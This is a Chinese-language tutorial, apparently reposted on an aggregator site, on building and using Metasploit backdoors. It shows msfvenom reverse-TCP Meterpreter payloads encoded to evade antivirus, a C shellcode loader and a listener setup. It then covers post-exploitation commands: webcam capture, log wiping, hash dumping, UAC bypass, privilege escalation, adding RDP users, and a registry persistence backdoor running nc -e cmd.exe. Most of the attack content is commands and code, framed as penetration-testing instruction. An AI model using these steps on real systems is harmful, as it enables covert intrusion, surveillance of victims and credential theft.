1.1 Metasploit 工具简介

news2025/1/23 2:19:19

Metasploit 简称(MSF)是一款流行的开源渗透测试框架,由Rapid7公司开发,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。并且该框架还提供了一系列攻击模块和Payload工具,可用于漏洞利用、及漏洞攻击。同时软件自身支持多种操作系统平台,包括Windows、Linux、MacOS等。直到今天Metasploit已成为众多黑客手中渗透攻击的利器,并在安全领域大展身手。

  • Metasploit官网:https://metasploit.com/

Metasploit框架主要包含以下几个组件:

  • 模块库:包含了一系列攻击模块和Payload工具,用户可以利用这些模块快速构造攻击代码。
  • Payload生成器:支持生成多种类型的Payload,包括反向Shell、Meterpreter、WebShell等。
  • 渗透测试工具:支持多种渗透测试技术,包括端口扫描、漏洞扫描、密码破解等。
  • 数据库:用于存储Metasploit框架的数据和攻击结果,包括模块信息、主机信息、漏洞信息等。
  • 插件系统:支持自定义插件,可以扩展Metasploit的功能。

Metasploit 的优势在于其强大的攻击模块库和Payload生成器,可以帮助用户快速构造攻击代码并进行渗透测试。此外,该还支持多种漏洞利用技术,包括远程代码执行、缓冲区溢出、SQL注入等,可以满足用户不同的需求。

在使用该工具之前第一步则是要安装此工具,由于该工具支持跨平台,因此读者可以根据自己的喜好自行安装对应系统版本,这里推荐在Linux内核的系统中使用该软件,我们以Kali系统为例讲解工具的安装流程及使用细节。

  • Kali系统官网:https://www.kali.org/

Kali Linux 是一款基于Debian的Linux发行版,旨在提供一套专业的渗透测试和网络安全审计工具集。Kali Linux由Offensive Security公司维护和开发,具有广泛的社区支持和贡献。Kali Linux包含了数百个网络安全测试工具,包括漏洞扫描器、渗透测试工具、密码破解工具、无线网络测试工具等,可以帮助安全专业人士识别和评估网络安全风险,加强系统和网络的安全性。

在默认情况下Kali系统内都会内置Metasploit工具,如果读者使用的是其他第三方系统,则MSF的安装也非常容易,读者只需要执行如下几条命令并等待片刻即可自动完成Metasploit的安装;

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
  chmod 755 msfinstall && \
  ./msfinstall

当读者准备好测试环境后,可通过Kali系统内的顶部窗口打开控制台,并输入msfconsole命令即可进入到MSF的交互式菜单中,效果如下图所示;

Metasploit 生成并使用后门

Metasploit 是一个强大的渗透测试框架,它提供了广泛的模块,用于模拟各种安全攻击。其中一个强大的功能是生成后门,它可以让攻击者在目标系统中保持持久访问权限。在本章中,我们将探讨如何使用Metasploit生成各类后门,并了解它是如何工作的。我们将通过实际演示来说明如何灵活的运用Metasploit生成的后门,并介绍一些最常用的技巧。

如果读者想要通过MSF生成后门,那么将会用到msfvenom命令,msfvenom是Metasploit框架中的一个子命令,用于生成各种类型的恶意软件,包括后门、漏洞利用代码、木马、蠕虫等。它是msfpayloadmsfencode的结合体,提供了更灵活的选项和更强的功能,该命令的常用参数如下所示;

命令功能描述
-p指定需要使用的payload,即攻击荷载。
-l列出指定模块的所有可用资源。
-n为payload预先指定一个NOP滑动长度,用于防止程序崩溃。
-f指定输出格式,例如exe、elf、php、js等。
-e指定需要使用的encoder编码器,以隐藏恶意代码。
-a指定payload的目标架构,例如x86、x64等。
–platform指定payload的目标平台,例如Windows、Linux等。
-s设定有效攻击荷载的最大长度。
-b设定规避字符集,以防止生成的payload中包含不可用字符。
-i指定payload的编码次数。
–shellest最小化生成payload。

MSF工具一般可生成两种类型的后门,一种是生成通用可执行文件,此类功能需用户在对端运行才可激活,需要注意的是由于此类后门已被各类杀毒软件厂家捕捉了特征,通常后门的生存能力很低无法在安装有杀毒软件的设备中正常运行,另一种则是直接生成ShellCode代码,此类代码并无特征并支持远程注入攻击,ShellCode代码形式在软件安全,漏洞利用领域使用最为广泛。

首先我们先来简单介绍一下MSF如何生成EXE和DLL可执行后门,如下案例中通过参数-a指定平台为x86也就是32位,如果读者需要采用64位则此处应对应的改为x64,参数--platform Windows用于指定生成平台为windows,参数-p windows/meterpreter/reverse_tcp则用于指定使用的攻击载荷为reverse_tcp也就是反弹后门,参数lhost=192.168.1.20指明了本机的IP地址,相对应的lport=9999则指明了本机端口,参数-f指明了生成的文件格式为exe,参数-o则代表生成文件存储位置,参数-e是一种编码器格式,shikata_ga_naiMetasploit框架中的一种encoder编码器,它用于隐藏恶意代码,以避免杀毒软件和防火墙的检测。shikata_ga_nai是一种多次编码器,可以通过多次重复编码来混淆恶意代码,以使其难以识别。

除了shikata_ga_nai之外,Metasploit框架中还有许多其他编码器,包括但不限于:

Encoder描述
alphanum使用字母数字字符对代码进行编码。
alpha_upper使用大写字母字符对代码进行编码。
fnstenv_mov使用FPU指令对代码进行编码。
jmp_call_additive使用跳转指令和调用指令对代码进行编码。
nonalpha使用非字母字符对代码进行编码。
nonupper使用非大写字母字符对代码进行编码。
unicode_upper使用Unicode字符对代码进行编码。

这些是Metasploit框架中常用的几种编码器,读者可以根据需求选择使用。

┌──(lyshark㉿kali)-[~]
└─$  msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
lhost=127.0.0.1 lport=9999 -e x86/shikata_ga_nai -i 3 -b '\x00\x0a\xff' -f exe -o payload.exe

┌──(lyshark㉿kali)-[~]
└─$  msfvenom -p windows/meterpreter/reverse_tcp -b'\x0\x0b' \
lhost=127.0.0.1 lport=9999 -f dll > payload.dll

虽然生成EXE可执行文件可以被使用,但笔者并不推荐,因为此类方式极容易被查杀,笔者更推荐生成ShellCode代码,并通过第三方应用或通过系统漏洞来对其进行注入操作,此类实现将有利于后门的持续权限维持,如下命令则是生成ShellCode反弹后门的关键命令;

┌──(lyshark㉿kali)-[~]
└─$  msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=127.0.0.1 lport=9999 -f c

┌──(lyshark㉿kali)-[~]
└─$  msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=127.0.0.1 lport=9999 -f c

我们以ShellCode生成为例,当前Kali攻击主机IP地址为192.168.9.135而被攻击主机IP地址为192.168.9.118此时,读者需要现在攻击主机生成一段ShellCode并指定当前主机IP参数等,输出效果如下图所示;

接着,读者需要将此ShellCode代码增加一个执行盒,并以此测试ShellCode的完整性及可用性,由于生成的ShellCode是C语言格式,则读者应使用C语言编译器,如下案例中buf[]用于填充我们自己的ShellCode代码片段。

如下这段代码,使用VirtualAlloc函数在内存中分配一块空间,并使用memcpy函数将缓冲区内容复制到内存中。然后,它将内存中的代码强制转换为函数指针,并调用该函数,以此实现反弹执行的作用,其功能可总结为;

  • 对于缓冲区buf定义了一个数组,该数组的内容为空。
  • 定义了一个类型为void (__stdcall *CODE)()的函数指针,该指针将指向内存中的代码。
  • 使用VirtualAlloc函数在内存中分配一块空间,该空间大小为buf数组的大小,并允许该空间可执行、可读、可写。
  • 使用memcpy函数将buf数组内容复制到内存中。
  • 将内存中的代码强制转换为函数指针,并调用该函数。
#include <Windows.h>
#include <stdio.h>

#pragma comment(linker, "/section:.data,RWE")

unsigned char buf[] = "";

typedef void(__stdcall *CODE) ();

int main()
{
    // ((void(*)(void))&buf)();
    PVOID pFunction = NULL;
    pFunction = VirtualAlloc(0, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(pFunction, buf, sizeof(buf));
    CODE StartShell = (CODE)pFunction;
    StartShell();
}

读者需要打开Visual Studio 2013编译器,并新建一个控制台应用程序,将如上代码复制到编辑器内,通过替换unsigned char buf[] = "";为我们自己的ShellCode代码,如下图所示;

编译通过后,读者应将lyshark.exe后门拷贝到客户端192.168.9.118内;

服务端中,读者需通过msfconsole进入到MSF控制台,并创建一个侦听器组件,侦听器适用于上线客户端的,其中的lhost则需传递本机的IP,其中的lport则需要与本机开放端口保持一致;

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.9.135
lhost => 192.168.9.135
msf6 exploit(multi/handler) > set lport 9999
lport => 9999

当读者配置参数完毕后,可通过show options命令用于检查配置参数的准确性,如果此时配置失误读者依然可以重新配置更改;

当配置就绪,则只需要执行exploit则此时服务端将会进入侦听模式,当然读者也可以使用exploit -j -z将请求挂载到后台;

至此当被害主机运行lyshark.exe进程时,则kali服务端将会接收到反弹的上线会话,上线后读者可通过sysinfo来了解被控客户端的主机信息,如下图所示;

一旦读者获取到对端主机的控制权,则可通过meterpreter中提供的各类命令来对目标主机进行信息收集工作,如下是该模块中常用的一些操作命令,读者可根据自行学习使用;

1.2.1 通用控制命令

meterpreter > essions -k 1             # 通过ID号杀死一个会话
meterpreter > background               # 将会话放入后台
meterpreter > getuid/getpid            # 查询用户权限与PID
meterpreter > sysinfo                  # 查看目标系统信息
meterpreter > ps                       # 查目标主机进程
meterpreter > kill PID                 # 杀死目标制定进程
meterpreter > getsystem                # 尝试令牌提权
meterpreter > shell                    # 进入目标shell环境

meterpreter > enumdesktops             # 查看可用的桌面
meterpreter > getdesktop               # 获取当前meterpreter关联的桌面
meterpreter > set_desktop              # 设置meterpreter关联的桌面
meterpreter > screenshot               # 截屏
meterpreter > run vnc                  # 使用vnc远程桌面连接

meterpreter > uictl disable mouse      # 禁用目标鼠标
meterpreter > uictl enable keyboard    # 开启目标键盘

meterpreter > webcam_list              # 查看目标主机摄像头
meterpreter > webcam_snap              # 摄像头拍照
meterpreter > webcam_stream            # 开启目标主机摄像头
meterpreter > clearav                  # 销毁日志文件

meterpreter > webcam_stream -i 1/2     # 打开前置或后置摄像头
meterpreter > check_root               # 检测root
meterpreter > dump_calllog             # 下载电话记录
meterpreter > dump_contacts            # 下载信息记录
meterpreter > geolocate                # 谷歌地图定位

1.2.2 Migrate进程迁移

进程迁移技术允许攻击者将Meterpreter客户端从当前进程中迁移到另一个进程中。这可以避免检测软件识别Meterpreter客户端,并对其进行清除。此外,进程迁移还可以帮助攻击者隐藏其所在的进程,以避免被检测。

meterpreter > execute                  # 在目标机器中执行文件
meterpreter > execute -H -i -f cmd.exe # 创建新进程cmd.exe -H不可见-i交互

meterpreter > getpid
meterpreter > ps
meterpreter > migrate PID              # 通过PID号迁移进程

1.2.3 文件查阅与传输

Meterpreter 还具有文件查阅与远程文件传输功能。这些功能允许攻击者查看受害者计算机上的文件,并传输文件到受控机器。

meterpreter > getwd                                # 查看当前工作目录
meterpreter > search -f *filename*                 # 搜索文件
meterpreter > cat c:\\lyshark.log                  # 查看文件内容
meterpreter > upload /tmp/shell.exe C:\\shell.exe  # 上传文件到目标机
meterpreter > download c:\\shell.exe /tmp/         # 下载文件到本机上
meterpreter > edit c:\\lyshark.log                 # VIM编辑或创建文件
meterpreter > rm C:\\lyshark.log                   # 删除文件
meterpreter > getlwd                               # 看肉鸡当前目录
meterpreter > lcd /tmp                             # 切换目录

1.2.4 端口转发与扫描

网络与端口转发功能允许攻击者将受害者的网络流量转发到受控机器,进而获取机密信息或控制受害者的网络资源。该功能通过创建一个代理服务器,以便将网络流量从受害者的计算机转发到受控机器。

# 网络参数采集
meterpreter > ifconfig        # 查询肉鸡IP地址
meterpreter > netstat -antp   # 查询目标网络连接
meterpreter > arp -a          # 查询目标ARP缓存
meterpreter > getproxy        # 查看目标代理信息
meterpreter > route           # 查看目标路由表

# 远端端口扫描
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.9.0/24           # 扫描192.168.9.0/24网段
meterpreter > run auxiliary/scanner/portscan/tcp RHOSTS=192.168.9.135 PORTS=3389  # 检测192.168.9.135是否开启3389端口

# 端口转发与端口关闭
meterpreter > portfwd add -l 9999 -p 3389 -r 127.0.0.1   # 将目标机3389端口转发到本地9999
meterpreter > portfwd list                               # 查询当前转发列表
meterpreter > portfwd delete -l 9999                     # 删除本地主机的9999端口映射

# 添加与删除主机路由
meterpreter > run autoroute -p                              # 查询添加的路由记录
meterpreter > run autoroute -s 10.10.10.1 -n 255.255.255.0  # 在目标主机添加一条路由
meterpreter > run autoroute -d -s 10.10.10.1                # 删除目标主机中的路由
meterpreter > run autoroute -s 10.10.10.1/24                # 添加一个路由网段

1.2.5 信息采集功能

信息采集功能是后渗透中的重要功能。它允许攻击者从受害者计算机上采集信息,以便对其进行更深入的渗透。Metasploit 内置了大量的信息采集模块,用于从受害者计算机上收集信息。这些模块包括获取操作系统版本、已安装的软件、已运行的进程、网络配置等信息。

Kali系统中,信息采集模块被放置在了usr/share/metasploit-framework/modules目录下,这其中包括了针对各种型号设备的采集功能,如下图所示;

以Windows系统中的搜集模块为例,其默认存储在/usr/share/metasploit-framework/modules/post/windows/gather 路径下,读者可取查看一下具体配置信息;

当读者在meterpreter环境下时,这些功能可以被直接调用,我们已枚举目标服务为例,通过info命令读者可查询特定模块的定义规范,而run则是运行这段枚举程序;

meterpreter > info post/windows/gather/enum_services        # 查询模块配置参数
meterpreter > run post/windows/gather/enum_services         # 枚举目标服务
meterpreter > run post/windows/gather/enum_files            # 枚举目标服务
meterpreter > run post/windows/gather/hashdump              # 盗取Hash
meterpreter > run post/windows/gather/checkvm               # 是否虚拟机
meterpreter > run post/windows/gather/forensics/enum_drives # 查看分区
meterpreter > run post/windows/gather/enum_applications     # 获取安装软件信息
meterpreter > run post/windows/gather/dumplinks             # 获取最近的文件操作
meterpreter > run post/windows/gather/enum_ie               # 获取IE缓存
meterpreter > run post/windows/gather/enum_chrome           # 获取Chrome缓存
meterpreter > run post/windows/gather/enum_patches          # 补丁信息
meterpreter > run post/windows/gather/enum_domain           # 查找域控

当读者执行枚举时,即可输出目标进程内所有运行的服务信息,读者可依据自己的需要选择不同的服务,如下图所示则是枚举服务列表;

1.2.6 目标主机权限提升

针对目标主机的提权操作有两种情况,读者可使用bypassuac脚本尝试提权,也可使用enum_patches枚举出系统补丁信息,根据不同补丁采用不同的提权脚本实现。

# 使用bypassuac脚本尝试提权
meterpreter > background
msf > use exploit/windows/local/bypassuac
msf > set SESSION 1
msf > run

# 收集目标主机补丁情况
meterpreter > run post/windows/gather/enum_patches
[+] KB2871997 is missing
[+] KB2928120 is missing
[+] KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7

# 尝试采用符合的提权脚本提权
meterpreter > background
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 1
msf > exploit

1.2.7 添加用户与开启远程

通常用户在获取到目标主机权限时,则可通过此命令在对端主机中开启远程桌面选项,以此来获得一个长期稳定的后门。

# 添加系统用户与开启远程桌面
meterpreter > run getgui -e                                                     # 开启远程桌面
meterpreter > run getgui -u lyshark -p 123123                                   # 添加用户
meterpreter > run getgui -f 9999 -e                                             # 3389端口转发到9999

# 启用RDP桌面
meterpreter > run post/windows/manage/enable_rdp                                # 开启远程桌面
meterpreter > run post/windows/manage/enable_rdp USERNAME=lyshark PASSWORD=123  # 添加用户
meterpreter > run post/windows/manage/enable_rdp FORWARD=true LPORT=9999        # 将3389端口转发到9999

1.2.8 注册表写入后门

通过上传命令将nc.exe后门传输到远程主机,并通过写出currentversion设置开机自启动后门,实现长期权限维持,该功能通常用于后渗透阶段的权限维持。

-d   注册表中值的数据
-k   注册表键路径
-v   注册表键名称

enumkey 枚举可获得的键
setval 设置键值
queryval 查询键值数据

# 上传nc工具到根目录
meterpreter > upload /root/nc.exe C:\\windows\\

# 枚举run下的key
meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

# 增加NC后门
meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v myshell -d 'C:\windows\nc.exe -Ldp 666 -e cmd.exe'

# 查看键值
meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v myshell

# 攻击者即可链接NC获取Shell
┌──(lyshark㉿kali)-[~]
└─$ nc -v 192.168.1.20 666

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/703457.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Nginx HTTPS实践

Nginx HTTPS实践 文章目录 Nginx HTTPS实践1.HTTPS基本概述1.1.为何需要HTTPS1.2.什么是HTTPS1.3.TLS如何实现加密 2.HTTPS实现原理2.1.加密模型-对称加密2.2.加密模型-非对称加密2.3.身份验证机构-CA2.4.HTTPS通讯原理 3.HTTPS扩展知识3.1.HTTPS证书类型3.2.HTTPS购买建议3.3.…

SCTF2023复现(部分web复现)

文章目录 SCTF2023复现webezcheck1nSycServerpypyp? SCTF2023复现 web ezcheck1n find the way to flag.Looks like there are two containers with an evil P in the configuration file of the frontend server 源码&#xff1a; <?php$FLAG "flag{fake_flag}&…

华为OD机试真题 Python 实现【分奖金】【2022Q4 100分】

目录 一、题目描述二、输入描述三、输出描述四、解题思路五、Python算法源码六、效果展示1、输入2、输出 一、题目描述 公司老板做了一笔大生意&#xff0c;想要给每位员工分配一些奖金&#xff0c;想通过游戏的方式来决定每个人分多少钱。按照员工的工号顺序&#xff0c;每个…

《移动互联网技术》 第七章 数据存取: 掌握File、SharePreferences、SQLite和ContentProvider四种数据存取方式

&#x1f337;&#x1f341; 博主 libin9iOak带您 Go to New World.✨&#x1f341; &#x1f984; 个人主页——libin9iOak的博客&#x1f390; &#x1f433; 《面试题大全》 文章图文并茂&#x1f995;生动形象&#x1f996;简单易学&#xff01;欢迎大家来踩踩~&#x1f33…

iview button组件点击第一次无效的原因解决

最近在开发页面&#xff0c;发现登陆页老是需要点击两下才能进入具体页面&#xff0c;一开始没在意&#xff0c;但是使用久了&#xff0c;就感觉肯定是问题&#xff0c;于是仔细查看了代码&#xff0c;如上图所示&#xff1a; 一开始我的跳转是放在存储token的上面的&#xff0…

管理类联考——英语——趣味篇——词根词汇——按“认识自然、认识自我、改造自然、情感智力、人与社会”分类”

文章目录 前言第⼀部分、认识⾃然1&#xff0e; ⾃然源于⽣命-bio-“⽣命&#xff0c;⽣物”-nat-“⽣命&#xff0c;出⽣”-gen-&#xff0c;-geo- “⽣&#xff0c;出⽣&#xff0c;⽣发;⼟地”-viv- -vit-, “⽣&#xff0c;⽣命&#xff0c;出⽣”-mort- “死&#xff0c;死…

如何使用企业门户(门户,Portal)平台构建千人千面的企业数字神经网络、门户工作台,集团数字化门户系统?

基于人工智能与AI算法的信创门户“One”&#xff0c;打破了IT系统间信息孤岛。实现了系统间的互联互通&#xff08;数字孪生&#xff0c;塔尖通信&#xff09;&#xff0c;结合机器学习&#xff0c;打造企业数字神经网络&#xff0c;给用户一个千人千面的智慧门户工作台&#x…

【Python】一文带你学会数据结构中的堆、栈

作者主页&#xff1a;爱笑的男孩。的博客_CSDN博客-深度学习,活动,python领域博主爱笑的男孩。擅长深度学习,活动,python,等方面的知识,爱笑的男孩。关注算法,python,计算机视觉,图像处理,深度学习,pytorch,神经网络,opencv领域.https://blog.csdn.net/Code_and516?typeblog个…

移除所有本地应用程序(数据库)加密设置

大家好&#xff0c;才是真的好。 最近我就有这样一个烦恼&#xff0c;要移除Notes本地的所有本地应用程序&#xff08;数据库&#xff09;的加密设置&#xff0c;这样就可以放到Domino服务器上&#xff0c;然后支持其他电脑上不同的Notes访问。毕竟&#xff0c;默认地&#xf…

Open-World Class Discovery with Kernel Networks (ICDM 2020)

Open-World Class Discovery with Kernel Networks (ICDM 2020) 摘要 我们研究了一个开放世界类发现问题&#xff0c;在这个问题中&#xff0c;训练样本是来自旧类有标签的样本&#xff0c;而我们从没有标记的测试样本中发现新的类。解决这一范式有两个关键的挑战:(a)将知识从…

【ESP-IDF】在squareline studio上设计GUI并移植到esp-box上

因为squareline studio软件中适配了ESP-BOX&#xff0c;所以作者本想直接使用该软件创建的工程&#xff0c;但是会出现花屏的现象&#xff0c;也不知道是不是没有做好esp-box-lite的适配。 因此只能先用squareline studio设计好GUI&#xff0c;然后再导出其代码&#xff0c;在其…

实时数仓详解

前言 本文隶属于专栏《大数据理论体系》&#xff0c;该专栏为笔者原创&#xff0c;引用请注明来源&#xff0c;不足和错误之处请在评论区帮忙指出&#xff0c;谢谢&#xff01; 本专栏目录结构和参考文献请见大数据理论体系 背景 伴随着社会的发展&#xff0c;用户对数据仓库…

ChatGPT中 top_p 和 temperature 的作用机制

1. temperature 的作用机制 GPT 中的 temperature 参数调整模型输出的随机性。随机性大可以理解为多次询问的回答多样性、回答更有创意、回答更有可能没有事实依据。随机性小可以理解为多次询问更有可能遇到重复的回答、回答更接近事实&#xff08;更接近训练数据&#xff09;…

pycharm快捷键

目录 1、代码编辑快捷键 2、搜索/替换快捷键 3、代码运行快捷键 4、代码调试快捷键 5、应用搜索快捷键 6、代码重构快捷键 7、动态模块快捷键 8、导航快捷键 9、通用快捷键 &#x1f381;更多干货 完整版文档下载方式&#xff1a; 1、代码编辑快捷键 CTRL ALT SP…

Vue-Element-Admin项目学习笔记(9)表单组件封装,父子组件双向通信

前情回顾&#xff1a; vue-element-admin项目学习笔记&#xff08;1&#xff09;安装、配置、启动项目 vue-element-admin项目学习笔记&#xff08;2&#xff09;main.js 文件分析 vue-element-admin项目学习笔记&#xff08;3&#xff09;路由分析一:静态路由 vue-element-adm…

TOWARDS A UNIFIED VIEW OF PARAMETER-EFFICIENT TRANSFER LEARNING

本文也是属于LLM系列的文章&#xff0c;针对《TOWARDS A UNIFIED VIEW OF PARAMETER-EFFICIENT TRANSFER LEARNING》的翻译。 关于参数有效迁移学习的统一观点 摘要1 引言2 前言2.1 Transformer结构综述2.2 之前的参数高效调优方法综述 3 弥合差距-统一的视角3.1 仔细观察Pref…

火山引擎A/B测试推出智能流量调优实验,助力汽车行业破局营销困境

更多技术交流、求职机会&#xff0c;欢迎关注字节跳动数据平台微信公众号&#xff0c;回复【1】进入官方交流群 2023年是汽车行业挑战加剧的一年&#xff0c;在这样一个变革时期&#xff0c;多家车企都在进行创新技术和战略调整&#xff0c;实现灵活的科学决策&#xff0c;在发…

03 Web全栈 浏览器内置对象/事件/ajax

浏览器是一个JS的运行时环境&#xff0c;它基于JS解析器的同时&#xff0c;增加了许多环境相关的内容&#xff0c;用一张图表示各个运行环境和JS解析器的关系如下&#xff1a; 我们把常见的&#xff0c;能够用JS这门语言控制的内容称为一个JS的运行环境&#xff0c;常见的运行环…

PDF怎么在线编辑?PDF编辑软件推荐!​

PDF怎么在线编辑&#xff1f;PDF是一种常见的文档格式&#xff0c;用于存储和共享各种类型的文档&#xff0c;如电子书、报告、表格、合同和演示文稿等。然而&#xff0c;PDF文档通常是只读的&#xff0c;无法直接进行编辑。在过去&#xff0c;要编辑PDF文档通常需要购买专业的…

JVM 常量池、即时编译与解析器、逃逸分析

一、常量池 1.1、常量池使用 的数据结构 常量池底层使用HashTable key 是字符串和长度生成的hashValue&#xff0c;然后再hash生成index, 改index就是key&#xff1b;Value是一个HashTableEntry&#xff1b; 1、key hashValue hash string(name&#xff0c; len) i…